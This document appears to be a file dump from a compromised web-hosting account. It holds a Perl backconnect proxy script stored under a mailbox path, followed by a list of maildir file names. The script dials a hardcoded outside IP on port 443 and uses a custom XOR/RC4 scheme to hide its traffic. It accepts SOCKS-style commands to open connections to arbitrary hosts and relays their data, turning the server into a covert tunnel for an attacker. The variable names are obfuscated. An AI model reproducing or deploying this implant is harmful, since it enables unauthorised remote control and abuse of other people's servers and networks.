/home/fdhrevqn/mail/.info@zreviw_info/new/d37419wb
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.201';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
-
[F]
1687610562.M202093P2682569.server225.web-hosting.com,S=2403,W=2448
-
[F]
1687610563.M583794P2730648.server225.web-hosting.com,S=2342,W=2387
-
[F]
1687610571.M313181P2682569.server225.web-hosting.com,S=2403,W=2449
-
[F]
1687664667.M570682P2212190.server225.web-hosting.com,S=2446,W=2491
-
[F]
1687672985.M794172P2761074.server225.web-hosting.com,S=2106,W=2149
-
[F]
1687679793.M612840P3675283.server225.web-hosting.com,S=2444,W=2489
-
[F]
1687699999.M776433P988019.server225.web-hosting.com,S=2380,W=2425
-
[F]
1687700000.M478093P988019.server225.web-hosting.com,S=2380,W=2425
-
[F]
1687742468.M789336P83333.server225.web-hosting.com,S=2527,W=2572
-
[F]
1687766521.M144189P1942652.server225.web-hosting.com,S=2525,W=2570
-
[F]
1687775173.M876825P2478493.server225.web-hosting.com,S=2453,W=2498
-
[F]
1687775175.M585305P2478493.server225.web-hosting.com,S=2421,W=2466
-
[F]
1687786995.M994527P3455488.server225.web-hosting.com,S=2338,W=2383
-
[F]
1687788074.M714740P3583728.server225.web-hosting.com,S=18828,W=19087
-
[F]
1687796550.M910416P4167685.server225.web-hosting.com,S=2270,W=2315
-
[F]
1687923085.M816051P914427.server225.web-hosting.com,S=25200,W=25660
-
[F]
1688045174.M132518P1693621.server225.web-hosting.com,S=2512,W=2557
-
[F]
1688063047.M495967P3048900.server225.web-hosting.com,S=54012,W=54813
-
[F]
1688067595.M832333P3477451.server225.web-hosting.com,S=2449,W=2494
-
[F]
1688109542.M65740P2450984.server225.web-hosting.com,S=2410,W=2455
-
[F]
1688124731.M792474P3787828.server225.web-hosting.com,S=2386,W=2431
-
[F]
1688197730.M780861P1032083.server225.web-hosting.com,S=2407,W=2452
-
[F]
1688217303.M71585P2507981.server225.web-hosting.com,S=2409,W=2454
-
[F]
1688239810.M504644P123906.server225.web-hosting.com,S=2426,W=2471
-
[F]
1688276957.M213183P2840483.server225.web-hosting.com,S=2561,W=2606
-
[F]
1688368546.M360645P1323896.server225.web-hosting.com,S=137793,W=139660
-
[F]
1688375732.M742224P2230148.server225.web-hosting.com,S=2351,W=2396
-
[F]
1688394262.M504533P3613758.server225.web-hosting.com,S=18828,W=19087
-
[F]
1688418687.M75414P1325970.server225.web-hosting.com,S=2513,W=2558
-
[F]
1688418691.M697689P1325970.server225.web-hosting.com,S=1657,W=1696
-
[F]
1688434634.M301511P2610236.server225.web-hosting.com,S=2363,W=2408
-
[F]
1688447599.M50531P3584532.server225.web-hosting.com,S=2409,W=2454
-
[F]
1688457249.M34592P235797.server225.web-hosting.com,S=2409,W=2455
-
[F]
1688457249.M445400P235797.server225.web-hosting.com,S=2273,W=2318
-
[F]
1688457250.M10003P241946.server225.web-hosting.com,S=2408,W=2453
-
[F]
1688457250.M125661P241946.server225.web-hosting.com,S=2264,W=2309
-
[F]
1688457250.M306658P241946.server225.web-hosting.com,S=2582,W=2628
-
[F]
1688457250.M801875P241946.server225.web-hosting.com,S=2366,W=2411
-
[F]
1688457257.M925996P235797.server225.web-hosting.com,S=2350,W=2395
-
[F]
1688457258.M610490P235797.server225.web-hosting.com,S=2327,W=2372
-
[F]
1688457259.M340451P241946.server225.web-hosting.com,S=2321,W=2366
-
[F]
1688457261.M739908P241946.server225.web-hosting.com,S=2349,W=2394
-
[F]
1688477976.M970886P2143005.server225.web-hosting.com,S=2372,W=2417
-
[F]
1688490232.M902841P3156627.server225.web-hosting.com,S=2343,W=2389
-
[F]
1688594453.M281591P2636739.server225.web-hosting.com,S=2483,W=2528
-
[F]
1vcvn0jp
-
[F]
belvjt8s
-
[F]
d37419wb
-
[F]
y76mbdc8